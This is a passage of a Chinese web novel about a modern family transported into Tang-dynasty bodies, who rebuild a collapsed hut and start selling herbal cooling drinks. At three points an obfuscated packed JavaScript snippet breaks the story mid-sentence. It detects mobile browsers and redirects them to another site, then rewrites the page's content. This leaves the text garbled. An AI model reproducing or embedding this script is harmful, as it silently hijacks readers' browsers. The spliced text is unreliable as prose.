《大唐小甜铺》 1. 雨夜惊梦 暴雨如矢,古槐虬枝在电闪雷鸣中狂舞。 崔棠攥紧颈间槐花玉坠,花瓣冰凉硌得掌心生疼,身后的破茅屋在呼啸风雨里“嘎吱嘎吱”摇摇欲坠。 父亲崔弘正用肩头抵住将倾的西墙,雨水浸透了他的粗布衫。 “三……二、一!” 惊雷里,母亲贺清蕙颤抖地倒数着。 胸前的玉槐花倏然发烫,幽绿荧光映出三人眼底的希冀…… 半个月前。 作为大厂新晋营销主管,二十六岁的崔棠在市场部一众牛鬼蛇神中厮杀出来,谁见了不夸一句年轻有为。 为了庆祝升职加薪,她带着爸妈去山里租了个民宿度假。谁知第一晚就遇上了暴雨,三人只好在雷雨声中早早睡下。 清晨,崔棠是被额角的刺痛惊醒的。 她闭着眼往枕边摸索手机,却摸到一些粗糙潮湿的……茅草? “这民宿卫生也太差了吧……”崔棠开口抱怨,喉咙里却滚出一串软糯糯的少女音,惊得她猛然睁眼。 歪斜的房梁漏下天光,斑驳光影里母亲贺清蕙褪色的黄栌长裙上还沾着灶灰—— 等等,老妈什么时候换的汉服? 贺清蕙听到动静忙转过头,手里还攥着豁口的陶碗,指尖悬在碗沿打颤。她声音略带犹疑地试探:“棠……棠?” 崔棠揉着朦胧的睡眼问道:“老妈你站那么远干啥?” 贺清蕙闻言一颗心放了下来,提着裙摆飞奔而来紧紧搂住崔棠:“可把我吓坏了!”银簪在晨光中簌簌颤动,她心有余悸地道:“一觉醒来衣服换了不说,你还变小学生了呜呜呜……” 此时崔棠才看清母亲的样子:靛青窄袖短襦外罩着半臂,腰间杏色帛带洗得泛白——活脱脱一个唐代农妇。 她目光往上移,突然发现贺清蕙鸦青鬓角下那张年轻了二十岁的脸,惊得声调都劈了叉:“妈,你返老还童了?!” 忽然有种不好的预感,崔棠猛掐了大腿一把,痛得呲牙咧嘴。 崔棠环顾四周,似乎没看到父亲崔弘的身影:“我爸呢?” 贺清蕙仿佛此时才想起崔弘,忙对着屋子另一边大喊:“老崔——老崔醒醒!” 鼾声戛然而止。 崔弘从茅草堆里弹起来,一身褐色麻布缺骻袍沾满了草屑。 他迷瞪着眼往腰后摸手机,却抓到把生锈的柴刀:“老子的席梦思呢?” 瘸腿木凳哐当倒地,惊飞了篱笆上打盹的麻雀。 不远处一阵犬吠声响起,隔壁篱笆后探出个包着青布帕子的脑袋,嘀嘀咕咕不知在说些什么。 等崔弘看清远处晨光熹微中的母女俩,不由惊呼出声:“你们俩穿的这啥?这是哪儿?” 水缸前顿时挤作一团,水面倒映着三张既熟悉又陌生的面孔: 贺清蕙二十七八的样子,银簪插得歪歪斜斜,倒显出几分娇憨; 崔弘幞头下的古铜色面庞寻不到半条皱纹,粗布缺骻袍裹着精壮身板; 最惊悚的是崔棠自己——双垂髻用青布条系着,杏眼圆腮活脱脱就是个豆蔻小娘子。 一滴露水自檐角滴落砸碎倒影,恍惚间一些不属于自己的记忆,涌入崔棠的脑海: 阿耶崔弘,在族中行五,幼年父兄战死沙场后,母亲也改嫁他乡。因性子老实木讷,常受欺辱。家中田产自幼被长房“代管”,只剩十亩荒废的山林地,平日靠上山砍柴或是帮长房做工换取些粮食。 阿娘贺梅娘更是个谜。除了姓贺,关于自己十六岁前的事情她一无所知,许是那年从崖边跌落摔伤了脑袋所致。因昏迷在梅树下被崔弘捡回来,便唤作“梅娘”。 十二岁的崔棠,是家中独女。虽然家境贫困,却备受父母宠爱。阿娘会在泥地上教她认字,阿耶会给她刻木雀儿。 …… “我们,这是穿越了吧?”贺清蕙突然抚掌打破陷入思绪的父女俩,她眼底闪着奇异的光,倒比发现超市鸡蛋打折时还兴奋三分。 崔棠扶额苦笑:“妈你是不是偷看我桌上那本《大唐穿越宝典》?”看小说是母女俩闲暇时共同的爱好。 “那什么..……”贺清蕙耳尖泛红,“看这不就可以用上了嘛!” 她抖开了在米缸底发现的油纸包——三枚开元通宝,一份褪色婚书上“景云二年”的墨迹洇着槐香,一个槐花玉坠子。 “值钱的都在这了……”贺清蕙颇有些失望地道。 崔棠忽地抓起玉坠,也是奇了,这坠子竟与那现代民宿钥匙上的挂坠如出一辙。 崔弘直跳脚:“放屁!你俩别神神叨叨的,定是那黑心客栈的仙人跳!” 他抄起锈斧就要往外冲,却被门槛外半人高的蒿草浇了满头晨露。 晨风卷着蒿草掠过门槛,送来远处断续的鸡鸣。 炊烟袅袅升起,那裹着粟米香的晨风里,分明混着几声字正腔圆的吴语吆喝:“新炊雕胡饭——三文管饱咧!” “咕噜——”此起彼伏的肠鸣声响起。 “什么事都没有吃饭大,不管了先做饭!”二十多年家庭主妇的经历,让贺清蕙迅速找到了眼前的重点。 她蹲在灶台前扒拉陶瓮,粟米粒从指缝簌簌落下,挽起袖子露出小臂内侧一粒朱砂痣——竟与现代分毫不差。 “统共就这些,混着野菜熬粥罢。棠棠去溪边洗野菜,老崔劈柴!不对——” 她忽地伸手拦住崔弘叮嘱道:“以后不能叫老崔了,得喊郎君,你得喊我梅娘。” 按照穿越小说的经验,要想好好生活不被当作妖怪抓起来,首先要融入环境。得亏自己看书多! 崔弘乍一听浑身一颤:“还怪不习惯的……” 毕竟在现代两人已是四十八九岁的中年夫妇,这称呼多少有些肉麻。 装着四十九岁灵魂的崔弘,虽然并不理解穿越这件事,但脑袋里多了很多乱糟糟的记忆却是真的。 他骂骂咧咧抡起斧头往外走,却忽然怔住:这身手,这体力,比年轻时扛楼板的自己还厉害几分。 几日过去,浑浑噩噩度日的崔棠一家才逐渐相信眼前的一切不是梦境。 这若是家普通农户倒也罢了,偏偏原身一家穷得只剩下这不甚坚固的祖屋了,三人岂会甘愿放弃现代的大好生活。 接下来的日子,崔棠和父母一边战战兢兢地扮演着破落户一家,一边想尽法子折腾试图回到现代。 这已经是他们穿越后的第二十五次尝试了:对玉槐花念过经,跳过隔壁的茅山溪,晃过院子里的老槐树,还对着火折子许过愿,连现代生日歌都唱了三遍…… 今夜忽然风雨大作,崔棠福至心灵想到穿越前夜也是这样的雷雨天。便打算在同一个时辰再试一次这玉槐花。 “轰——!” 难道要回去了?崔棠激动地手舞足蹈:炸鸡奶茶,我来了! 只见那雷火在槐树枝桠前忽地转了个弯,劈中了屋脊,茅草一下子被点燃,房梁传来吱嘎断裂之声。 崔弘暴喝一声“躲开”,搂着妻女滚到一旁。 继而传来梁柱坍塌的轰响,承载全家口粮的瓦罐“哐”一声被压碎,半袋糙米混着雨水冲进了沟渠。 崔棠和父母面面相觑。 檐下一滴水珠“啪嗒”落进她张大的嘴里:“凉了……我们怕是回不去了。” 崔弘气急败坏地一抹脸上的雨水:“这劳什子穿越法,老子不试了!回不去就回不去吧!” 贺梅娘早习惯了崔弘这炮仗脾气,拉着他避到灶屋檐下:“起码一家人在一起,三个臭皮匠顶个诸葛亮——” 毕竟看过几百本穿越小说,她还是有些底气的。 崔弘思忖半晌拍着胸脯道:“也是!当年负债,我俩都在路边卖过水果,还怕从头来过?“ 从八十年代闯过来的父母,或许跟崔棠这种生活在富足年代的人不一样,天生就有股野蛮生长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117764|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活力。 “可我们今晚住哪儿啊?”崔棠想到一个严重的问题。虽然那房子的火势被雨浇灭了,却已倒塌完全不能住人。 不是她想打击父母的雄心壮志,实在是此刻三人还淋着雨呢…… 崔弘摸着下巴思索着道:“我记得后山上有个山洞,崔五郎小时候躲过。” 贺梅娘突然拽过两人:“嘘——” 外头忽然炸响尖细的吴语:“崔五!里正让我来传话——” 一个头包青布帕子的妇人撑着伞叉腰立在篱笆外,身后跟着个披着蓑衣的税吏——是邻家周娘子和里正家仆王大。 王大踹开半塌的篱笆,甩着竹筹,腰间蹀躞带上串着数十枚铜钱叮当作响:“渠塘捐五十文!” “老天爷呀,梅娘你家这屋子怎的塌了!”周娘子挤上前惊呼。 崔弘刚要开口,贺梅娘猛地掐他后腰。 贺梅娘拎起沾满泥浆的披帛角,抽抽嗒嗒往周娘子怀里一歪:“周姐姐瞧这瘟天雨,偏生把屋子压垮了半边去。” 说着又呜呜咽咽抹起泪来:“我们娘俩命比黄莲苦,这税钱......” 崔棠顺势“扑通”跪坐在泥浆里:“王阿叔看这米!” 她捧起泡发的糙米往泥水里一摔,“扑簌簌”溅起水花:“这米水耗子都不吃了,能不能跟里正阿翁说说宽限几日?” 米汤顺着指缝滴在玉槐花上,花蕊微不可察地一亮。 王大“呸”地吐出嘴里的雨水,羊皮靴跺得水花四溅:“老子管你是耗子偷米还是雷公劈房,税钱我可做不了主——” 话音未落,周娘子突然把油纸伞往贺梅娘头上一怼。她拍着王大的蓑衣嗔道:“瞧这铜钱大的雨点子,砸得我家鸭崽子都缩脖子!” 说着又往崔棠怀里塞了包姜片道:“本就是想着你们母女怕寒来送这个的,煮水最祛寒。” 王大被雨帘糊得睁不开眼,鞭梢胡乱挥向冒烟的茅顶:“至多宽限五日!”忽地一阵妖风卷起焦茅草,正糊在他嘴上,呛得连呸三声。 周娘子看似碎嘴,倒是个热心肠,她把王大往外头扯:“你赶紧往前头张家去吧,夜里这路滑得哟——” 她家郎君王仁是里正的远方侄儿,在王家仆人面前多少有几分颜面。 看着王大悻悻而去,周娘子硬拉着崔棠母女去家里:“我家郎君去镇上给我阿耶送货了,今夜这雨怕是不回来了,你们来我家不妨事的。” 见崔弘几人坚持不去,她只得折返回家取些干衣干粮,发间银梳都在跑动间歪了:“快换上!我家那口子前年短打的衣裳,五郎莫嫌窄......” 贺梅娘拉着崔棠和崔弘再三道谢,雪中送炭不易,这份朴素的恩情她记在心里了。 眼看三人往山脚去,周娘子急得直跺脚:“那洞窟早塌得剩狗窝大小!” 崔棠跟着崔弘深一脚浅一脚摸到山脚,她看着眼前狭小的地方哭笑不得:“阿耶,我觉得咱还不如借住周婶家——”话未说完额头“咚”地磕在石壁上,还震落几粒碎石。 崔弘挠挠头,他也不知道原身记忆里小时候的山洞,如今只能堪堪容纳三个人坐下。 贺梅娘已经用火折子升起火宽慰道:“今晚凑活一下吧,许是明日就晴了。” 崔棠挤到她身边刚想坐下,却瞥见旁边有几滴暗红色的血迹。 洞外林间忽有枝条断裂声,惊得火堆“噼啪”爆出火星。 “这山里不会有野兽吧?”她缩在湿褥子里打颤,“这血乎刺啦的......” 崔弘抄起柴刀要探,鞋尖忽地踢到什么东西,低头一看是块白森森的动物骸骨。 “怕是野兔、黄大仙之类的。”他故作轻松地笑,喉结却滚了滚。 本想着为妻女守夜,但一夜折腾的疲累让崔弘眼皮子开始打架,没多久也沉沉睡去。 瑟缩着睡着的几人,并未听到官道方向忽有马蹄声碎,惊起寒鸦一片。 2. 出师未捷 晨光拨开雨云时,崔棠正蹲在溪石旁洗野荠菜。 十二岁的身体轻盈得像片云,水波晃着双垂髻的倒影,原身记忆里最后的画面忽然闯进她的脑海—— 病榻上的小崔棠攥着阿爷雕的木雀,听着双亲此起彼伏的咳嗽声。 阿耶冒雨上山采药,回来时浑身滚烫仍笑着说:“等开春,阿耶给你打张新木榻..……” 崔棠掬水抹了把脸,溪水的涩味在舌尖打了个转。 世间万事万物皆有因果,虽然不知为何会穿越到原身一家身上,但她定会带着他们的份好好活下去! “棠儿快来!”贺梅娘举着半破竹篓从林间钻出,鬓角还粘着蛛网,“你阿耶逮着几只肥山雀!” 崔弘正抡斧修葺破屋,闻言手一抖,新补的茅草“哗啦”又塌了半边。他挠着乱糟糟的发髻嘿嘿笑:“就是火候过了...…” “就来了!”崔棠抄起荠菜往回跑。 日头攀上树梢时,三人围坐啃着焦黑的雀肉。 崔棠被柴烟呛得直咳:“我看那林子里不少果子,不如下午摘野果换钱?” 眼下当务之急,就是赚钱! “我记得西坡有片野蔗林!”贺梅娘突然拍腿,“仿佛见过货郎收青蔗,三文一捆......” “这价也太贱了些,五十文得砍多久啊……”崔弘有些惆怅。 不过说归说,青蔗还是得砍。 林间腐叶窸窣,崔棠拨开藤蔓,一颗野果“啪嗒”砸在额间。 “什么东西?”她捻碎鲜红果子,抹到唇上:“阿娘瞧这颜色,做胭脂可能值五十文?” “五十文买你这花脸猫?”贺梅娘笑着扯过一旁的野蔗。 青皮杆子“咔嚓”折断,乳白汁水溅上崔棠挂着的玉槐花,不知为何觉得有些发烫。 崔弘抡柴刀砍向枯藤叮嘱:“小心脚下……” 刀锋忽地顿住——怪了,泥地里这半枚靴痕,云纹底子不像是村里人的式样。 今日时辰不早,午后崔弘带着柴火去县里换米粮,崔棠和贺梅娘因脚力有限赶不及,只得来乡里草市试试。 说是市集,其实只是乡里的草市,隔日设些小摊,若要真的赶集还得去县里。 崔棠兜着野果刚想吆喝,却看见崔宝大摇大摆地走到面前。 这崔宝是崔氏长房的小孙子,光看这身形就知道在家中备受宠爱。 小胖子啃着蒸饼嗤笑:“流民娘子卖烂果哟!” 小小幼童有什么是非观,不过都是大人教的罢了。原身常被这小侄子嘲笑,虽然崔棠不欲与他多辩,但好歹也要出口气。 “哟!”她捏起颗红果子,“宝哥儿衣襟沾的饼渣,莫不是偷吃了祭祖的供品?” 崔棠指尖轻点对方胸口,朱红汁液在锦缎上洇出个“偷”字。 崔宝噎得涨红脸,显然没想到崔棠还会反击,被奶娘拽着落荒而逃。 贺梅娘憋笑憋得肩头直颤:“你这丫头嘴利得……”忽又蹙起远山眉,“那长房素来锱铢必较,这般当众落宝哥儿脸面......” “阿娘当咱们还是原先那样吗?” 崔棠才不在乎长房怎么想,人善被人欺。 “既然换了芯子,迟早要让他们知晓我们的厉害!”她将竹篮往青石上一墩,野果“咕噜噜”滚出几颗。 恰有风拂过,卷着她茜色襦裙扬起又落下,不似江南女子倒显出几分胡女的飒爽。 青石板哒哒作响,忽有个身着霜色道袍的少年驻足。 少年捻起粒红果对光照,日光透过薄皮映出经络,竟似玛瑙琢的菩提子。 “小娘子这果子,怎么卖?” 崔棠内心激动,面上却笑盈盈:“郎君慧眼,这果子可不易得。” 她边说边竖起三根手指道:“三……六文钱一篮,童叟无欺。”这价格是比着隔壁卖野菌的阿婆,还翻了倍。 少年广袖忽地一抖:“这两篮我都要了!”说着抛来串榆钱,“不用找了!” 贺梅娘数钱的手一颤——足足十五文,够换小半石糙米! 她正要道谢,却见崔棠按住篮沿:“郎君这果子可够用?” 崔棠一看这少年表现就知价卖贱了,有心想补救。 少年眉峰微挑:“小娘子若再得此果,可往县里云来客栈寻我。” 待他离去,崔棠捏着粒落在地上的野果,指甲掐进果肉里渗出紫红汁液:“早知报它十文一篮。” 她气得抬脚踢飞块石子,惊得路过的灰驴“啊呃”直叫。 贺梅娘蹲身整理粗麻盖布,鬓角碎发被汗水黏在颊边:“棠儿看——” 她拎起截野蔗“咔嚓”折断,“这蜜水似的浆子,早晚能寻着识货的。”蔗汁顺着她指节滴入泥地,竟招来几只黄蜂围着打转。 “小娘子新来的?” 斜对角卖菘菜的老妪晃着豁牙笑,腕间褪色的绞丝银镯“叮当”响:“这青柘杆子啊——” 她竖起三根枯枝似的手指道:“一文钱能换三捆,喂猪都嫌费刀工!” 比印象中的价格竟低了三成! 崔棠忽地起身拎过蔗捆:“阿婆您尝尝!”她利落地削去硬皮,“这芯子甜过崖蜜......” “咳!” 老妪吐出口嚼了一半的果核,“甜顶屁用?州里胡商熬糖都用波斯石蜜,谁耐烦榨这破杆子?” 近旁一个管事模样的男子闻言附和:“确实如此。前回某去州里还听闻胡商抱怨,说江南蔗粗劣,十斤柘浆难出一两糖。” 崔棠讪讪地缩回手。 日渐西沉,崔棠数着钱囊里十五枚铜钱发呆。野蔗捆一根没少,蔫头耷脑地活像群挨了训的小童。 对面老妪挎起篮子冲她们嚷:“收摊嘞——再晚可要喂野狗喽!” 崔棠忽地冒出个想法,她扯住母亲的衣袖:“既然糖比甘蔗贵,不如我们试试熬糖?” 贺梅娘一向相信女儿的判断,自是无有不应的。 崔弘踹开篱笆门时,母女俩已做起了晚食。 “二十斤柴换得半升稗子米!” 竹扁担“咔嚓”裂成两截,他歪斜着把一小袋米往灶台一撂,粗麻布衫左肩豁了口,血渍已凝成黑痂。 “才两文钱!”他抓起水瓢猛灌,喉结滚动似磨刀石,“刘二愣那杀才,非说这松材是柳枝——” 贺梅娘蹲下身替他脱草鞋,倒吸口凉气——脚底板的水泡磨破了,黄脓黏着碎树皮。 “这活计不做了!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117765|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贺梅娘摔飞了草鞋,惊得野猫“嗷呜”窜走,她气道:“你当自己是铁打的?” “好个摔盆打碗的架势!”门外忽传来周娘子的笑骂。 “梅娘啊,我平日里还以为你顶温柔小意呢!”她挎着竹篮进来,身后王仁肩扛半扇旧门板,“不成想也跟我一样。” 崔弘忙掩住脚伤:“仁弟怎得空来……” “清早刚回来就听我家娘子说你这屋子垮了,”王仁撂下门板,震起层浮灰。 “正好家里有块门板给你们修屋子用。” 他屈指敲了敲新修的窗棂略显惊讶:“这燕尾榫咬得比老把式还牢,一日少说三十文!” 王仁仿佛又想起什么似的:“对了,我明日要去乡里富户张员外家做工,他家起新房,日供两餐,日结十五文。” “弘五哥不如与我同去?”他问道。 周娘子掀开篮布,粟米炊饼混着酱菜香飘出:“棠娘快趁热!”又冲贺梅娘挤眼,“你家郎君这手艺,窝在村里劈柴,真真是明珠落粪坑!” 贺梅娘还未说什么,周娘子拉着她走到一旁悄声说道:“你别又跟我说什么要给崔家长房做帮工,帮到今日给过一个铜板没有?” 她朝崔棠努了努嘴:“你家棠娘眼瞅要及笄,总得攒些胭脂钱......” “阿耶你明儿就跟王阿叔去,你雕的木雀儿那么好看准能行!”崔棠雀跃起来,听闻日结十五文恨不得自己去。 崔弘本就没有原身那般不知变通,与那劳什子长房族人也无甚感情,自然连连说好。 待二人离去,崔棠才道:“阿耶,我记得崔五郎会些木工。” 崔弘点头道:“崔家这一支祖上还是木匠哩,崔五郎喜欢做些小玩意,派不上用场的……”他话锋一转,“但我年轻时干过泥瓦工、木工,这古代房子应该差不离吧!” 毕竟是十几岁就在工地上混到自己做小老板的人,加上这幅年轻的身体,崔弘对挣钱充满希望。 贺梅娘当机立断:“少说多做,别露破绽,顺便看看有什么其他赚钱路子。” 崔棠神秘兮兮摸出钱袋:“今日卖野果挣了三十文!”说着又垮下脸,“偏那野蔗无人问津,白费力气搬来搬去。” 暮色渐浓,崔弘抡着石锤修灶台,火星子“噼啪”溅在陶罐边。野蔗渣在陶罐里熬成黑浆,咕嘟泛着酸苦气。 贺梅娘搅着黑糊糖浆叹气:“要是有台榨汁机......” “阿娘慎言!”崔棠突然压低嗓门,“隔壁周婶耳朵比猫还灵......” “要是有柠檬...…再不济小苏打......”贺梅娘小声嘀咕。 崔棠用豁口木勺尝味舀起半勺吹了吹,舌尖刚沾点边就蹦起来,“噗”地喷了崔弘满背:“又涩又苦!” 贺梅娘却举着陶罐对月细瞧,罐底晶粒泛着诡异的青光:“你们瞧这星星点点的......” 话音未落,玉槐花坠突然烫得崔棠一激灵。 “多试几回总能成的,”她安慰母亲,“山上那么多野蔗呢!” 这夜更漏滴到子时,崔棠被屋顶茅草的轻响惊醒。 窗棂月影里,半角暗纹锦袍一闪而过,院里老槐树忽地簌簌作响,血腥气混着沉水香飘进破屋。 3. 清凉商机 次日鸡鸣三遍时,崔弘收拾了一番,便与王仁结伴前往乡里张员外家。 夯土院墙外早蹲了七八个匠人,领头的白须老汉正举着水牛角墨斗吆喝:“起正梁的麻利着!卯眼要凿七分三厘深——” 崔弘摸着墙上潮痕直皱眉嘀咕道:“这夯土掺的稻草太多,得加糯米汁……” 话一出口便知要糟。 果然张家管事眯眼望来:“哟新来的?你懂营造?” 崔弘:“咳咳……略懂些。” 这倒不假——原身祖上确有点木作本事,崔五郎从族中搜罗了不少没人要的匠作记录,自学了点粗浅手艺。 王仁赶忙上前向管事介绍崔弘的来历。 管事掂了掂他递上的木雀,那是今晨崔棠塞给他的:“雕工倒是不错,好好干啊!” 日头爬上椽子时,崔弘摸着冰凉的刨子恍神。从前工地里震耳欲聋的搅拌机声,渐渐化作凿卯的“笃笃”响。 他望着飞溅的木屑轻笑:“甭管古今,养家糊口的道理倒是千古不变。” 日头斜过竹梢时,崔家小院腾起炊烟。 贺梅娘叉腰立在菜畦前,杏色襦裙沾着晨露:“棠儿快看!” 她忽地蹲身刨土,十指翻飞如点钞,“这可是藿香!紫苏!野葛根......” 崔棠拎着豁口木桶过来,水珠子顺着桶沿滚进泥地:“阿娘这架势,倒比抢超市特价白菜还利索。” 说话间裙裾扫过野薄荷,惊飞几只碧色蚱蜢。 三开间的正屋经崔弘修缮,檐角新补的茅草还透着青。东边一间柴房并灶屋那日倒是没有坍塌,稍稍修补足够日常使用。 贺梅娘掰着指头清点家当:“藿香能炖鸡,紫苏腌脆李,野葛根磨粉......” “还能敷脸呢!”崔棠突然从野薄荷丛里蹦出来,脑门顶着片枯荷叶,“闻闻,比那波斯花露还醒神!” 竹影摇曳里,母女俩笑声惊起一旁竹林里的山雀。 “可惜了这好宅院。”崔棠捏着鼻子拎出粗陶溺壶,“茅房没有,粪桶倒有三个!” 贺梅娘拈着藿香叶往她发髻簪:“等你阿耶挣够钱,叫他修个抽水马桶!” 话音未落,竹丛里“扑棱棱”飞起只山鸡,惊得木桶滚进菜畦。 日头西斜时,崔弘攥着工钱疾步归家。 他摸出怀中油纸包着的雕胡饭,米香里混着槐叶清气:“管事赏的,说是长安传来的新炊法。” “铛啷”一声,崔弘又将钱串子拍在竹案上,面巾下透出亮晶晶的眸子:“还有县衙要征五十民夫修官道!” 贺梅娘正捣着藿香叶,“咚”地杵臼砸歪三分:“那官道修的,比水牛犁地还磨人!” 她指尖沾着青绿的汁液戳向崔弘额角,“你当自己是二十出头小伙?” 崔弘一愣复又大笑:“我现在不正是年轻小伙么?” 崔棠突然拍案:“阿耶,官道苦力最易中暑!” 母女俩眼波一对,齐齐扑向墙角药篓:“咱们去卖解暑饮!” 贺梅娘抓起把野葛根怔住:“《四时纂要》说配乌梅汁……”话到一半顿住——自己何时通晓了这些? “阿娘快瞧!”崔棠举着树枝在地上疾书,“后山梅子青还青着哩!待熟了咱们用竹筒灌了冰溪水——” 她衣袂翻飞间,地面上赫然浮现个圆滚滚的狸奴,举着竹筒憨态可掬。 崔弘摸着新得的工钱沉吟:“可以带去工地给大家伙试试,也不知合不合这些人的口味……” 他突然瞪大眼:“棠棠你这什么?” “这叫招财猫!”崔棠蘸着水给狸奴点睛,“每日前五筒半价,保准让人抢破头!” 她忽地想起往日里那些营销技巧,总有机会一一实践。 三更梆子响过,崔弘还在就着月光劈竹筒。 贺梅娘一边守着咕嘟冒泡的陶罐,一边盘算着家中用度。 崔棠躺在竹榻上忽觉脑中清明,似乎十二年的记忆都已悄然融入她二十六岁的灵魂:上元节偷尝阿娘的槐花蜜,惊蛰日跟阿耶学认榫卯…… 晨光初绽时,崔弘便起身揣着竹筒踏上黄土路。 金银花在筒中舒展腰肢,薄荷叶浮沉如碧玉小舟,那是贺梅娘昨夜精心熬制、添了薄荷的金银花水。 “崔五郎来得好早!”张家管事正用犀角梳篦刮去衣领浮尘。 此时日头渐高,暑气悄然弥漫。 崔弘笑着递上竹筒:“张管事,这天愈发燥热,您且尝尝我家娘子熬煮的金银花水,里头添了紫苏、薄荷,喝来清爽得紧。” 这话他在来的路上练习了许多遍,此刻开口心里还有些惴惴。 张管事见崔弘递来竹筒,挑眉道:“这青竹筒倒是别致。” 竹筒里清冽的液体晃出涟漪,管事轻啜一口,“噗!”他喷出金银花水,“怎地泛苦?” 崔弘额角沁汗——原是昨夜梅娘太困手抖薄荷叶放多了三成。 他正要告罪,却见管事咂嘴回味:“苦后回甘,倒是解暑良方!” 他眼眸一亮,赞道:“崔五郎,你家娘子这手艺着实不错!这金银花水,饮之畅快。” 崔弘笑着松了口气:“管事觉着好,便是万幸。” 管事又饮了几口,才意犹未尽地将竹筒还予崔弘,说道:“三日后慈恩寺庙会,张员外放工半日,你等也可去凑凑热闹。” 崔弘心中一动,忙不迭谢过管事。 他心想,不如先去庙会支个摊子试试,今晚须得多做些竹筒。 暮色染红竹林,崔棠捧着粗陶碗碎步疾行,邻家院墙内传来木杵捣衣声。 “阿婶安好!”崔棠抬脚跨过门槛,碗中琥珀色的野菊薄荷竹蔗汤微微摇晃,“我娘新熬的甜水,给您和囡囡尝尝鲜。” 周娘子甩着湿漉漉的衣袖起身,腕间绞丝银镯叮当作响:“棠娘来得正巧!” 她朝西边甜瓜地努嘴:“你王叔摘瓜预备庙会支摊,倒把你家菜园子踩得东倒西歪。” 崔棠余光瞥见院角堆着新鲜箬叶,心念微动:“是县里慈恩寺要办庙会吗?” “可不是!”周娘子接过陶碗喂给追蝴蝶的囡囡。 “支摊容易得很,往功德 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15117766|164202||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱捐三文铜板,领个木牌就成。” 她突然压低嗓音:“只是那看摊的慧明和尚……”话到一半被囡囡的欢呼打断。 “甜!比周记糖铺的冰酪还甜!”小丫头举着空碗眼巴巴望来。 崔棠指尖轻点她鼻尖:“明日再给你带。” 她转身从袖中摸出画着狸奴的竹片问道:“阿婶瞧这招牌可使得?” 周娘子摩挲竹片上憨态可掬的猫儿,突然“噗嗤”乐了:“当年我爹在米铺立招牌,请了三个画师都不如这灵性!” 她目光扫过崔棠补丁摞补丁的襦裙,轻叹道:“你阿娘向来手艺好,如今肯抛头露面……” 崔棠知道前身的阿娘许是大户人家出身,多少有些迂腐气,不愿出去挣钱。这转变瞒不了众人,得提前铺垫。 “阿娘说日子总要过下去。” 周娘子点头称是:“你们那族里早前日子过得去还能帮衬一二,如今看着只能靠自己个儿了!” “要我说啊,田地出息只能靠天吃饭,如今世道安稳,不如想法子给你挣些嫁妆。” 崔棠没想到这周娘子竟还有些商业头脑,不愧是米铺老板家的长女,家学渊源,眼光果然与普通村妇不同。 她顺势将话题扯到官道,“若是在修路处支摊卖些饮子给役夫……” “啪!”周娘子猛地击掌:“棠娘好灵醒!那官道役夫每日少说两百号人……” 她看向正在地里摘瓜的王仁,“到时候我让你王叔也去卖甜瓜!” “只是要当心差役,须得备些''茶水钱''。”她眨眼补充道。 现代思维的崔棠本就有心做些小本买卖,几个来回下来与周娘子聊得十分投机。 她在心中速记着:卖货时辰、箬叶来处、打点关节……恨不得有本记事本子才好。 炊烟初起时,崔弘扛着新砍的竹子归家。 贺梅娘正守着瓦罐试新方,忽见丈夫扛了不少竹子闻道:“你又要修房子吗?” 崔弘摇头:“三日后县里有庙会,我们停工半日,我想着多做些竹筒去卖饮子。” “看来阿耶今日试饮很顺利!”崔棠从灶后探出花猫似的脸,“我取了个吉名——双花饮镇邪,三清饮通神!” 营销人的基因蠢蠢欲动,好名字是成功的第一步,只是不知古人吃不吃这一套。 贺梅娘舀起勺汤水轻嗅:“金银花偏寒,得备些姜片……”话音戛止,另一只瓦罐里忽地腾起青烟,焦苦味瞬间弥漫。 “火候过了!”崔棠抢过蒲扇猛扇,但已无力回天,这罐汤只剩个锅底在呲呲冒烟。 “这破瓦罐煮汤火候不好控制,一不留神就烧干了,总不能一直这样守着吧?”贺梅娘抱怨道。 崔弘也深有同感:“这灶也不行,要真正经做这营生,柴怕是不够用。” 说到这他忽然脑中一个念头闪过,却没来得及抓住。 三更梆响,崔家小院进入梦乡。 只有崔棠还就着月光伏案刻画竹牌,忽听院墙外传来木柴滚落的声音。 “最近怎么野猫这么多?”她嘟囔着。 4. 庙会出摊 寅时三刻,晨雾未散。崔家三人推着崔弘新打的独轮车吱呀上路,车板架着两口木桶。 青竹车辕压过田埂时,崔弘一个踉跄,桶里三清饮“哗啦”泼出两成,惊得路边野雀扑棱棱乱飞。 “慢些!这泼出去的饮子值二十文钱。”贺梅娘抱紧双花饮的木桶,她月白色襦裙早沾满泥点,活像只落汤的鹤。 崔棠护着车前头麻绳捆着的一堆竹筒,这是她按现代力学琢磨的绑法,奈何田鼠洞专治各种不服。车过溪石滩时猛一颠簸,竹筒接二连三掉落砸中崔弘脚背。 